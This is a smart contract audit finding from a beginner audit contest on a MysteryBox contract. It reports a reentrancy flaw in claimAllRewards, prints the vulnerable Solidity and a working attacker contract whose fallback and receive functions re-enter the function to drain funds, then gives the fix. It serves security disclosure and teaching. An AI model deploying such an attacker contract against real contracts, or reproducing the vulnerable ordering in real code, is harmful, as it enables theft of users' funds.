Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `MysteryBox::claimAllRewards` allows users to drain the contract.

tusharr1411

Description: MysteryBox::claimAllRewards function doesn't follow CEI {Checks, Effects and Impacts} and as a result enables participants to drain the contract balance.
In the MysteryBox::claimAllRewards function, the rewardsOwned mapping is updated after the msg.sender has claimed the reward. This means if the msg.sender is a contract with a fallback or recieve function, they can re call the claimAllRewards function again and again. This will drain the all funds from the MysteryBox contract.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
@> delete rewardsOwned[msg.sender];
}

Impact:
A malicious contract could exploit the lack of reentrancy protection, calling the MysteryBox::claimAllRewards function multiple times before the balance is updated, draining the contract's funds.

Proof of Concept:
Attacker sets up a contract with fallback function calls the MysteryBox::claimAllRewards function

  1. The attacker contract first buy some boxes and open them with MysteryBox::buyBox and MysteryBox::openBox functions.

  2. The attacker contract calls MysteryBox::claimAllRewards function draining the contract balance.

Proof of Code:

Code

place the following in the MysteryBox.t.sol::MysteryBoxTest

And this Attack contract as well

contract ReentrancyAttacker{
MysteryBox mysteryBox;
uint256 boxPrice;
​
constructor(MysteryBox _mysteryBox){
mysteryBox = _mysteryBox;
boxPrice = mysteryBox.boxPrice();
}
​
function attack() public payable{
​
​
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
}
​
function _stealMoney() internal {
uint256 totalValue = 0;
for (uint256 i = 0; i < mysteryBox.getRewards().length; i++) {
totalValue += mysteryBox.getRewards()[i].value;
}
​
if (address(mysteryBox).balance >= totalValue) {
mysteryBox.claimAllRewards();
}
​
}
​
fallback() external payable {
_stealMoney();
}
​
receive() external payable {
_stealMoney();
}
}

Tools Used:
Manual Review

Recommended Mitigations:
To prevent this we should have the MysteryBox::claimAllRewards function update the rewardsOwned mapping before making external call.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
- delete rewardsOwned[msg.sender];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.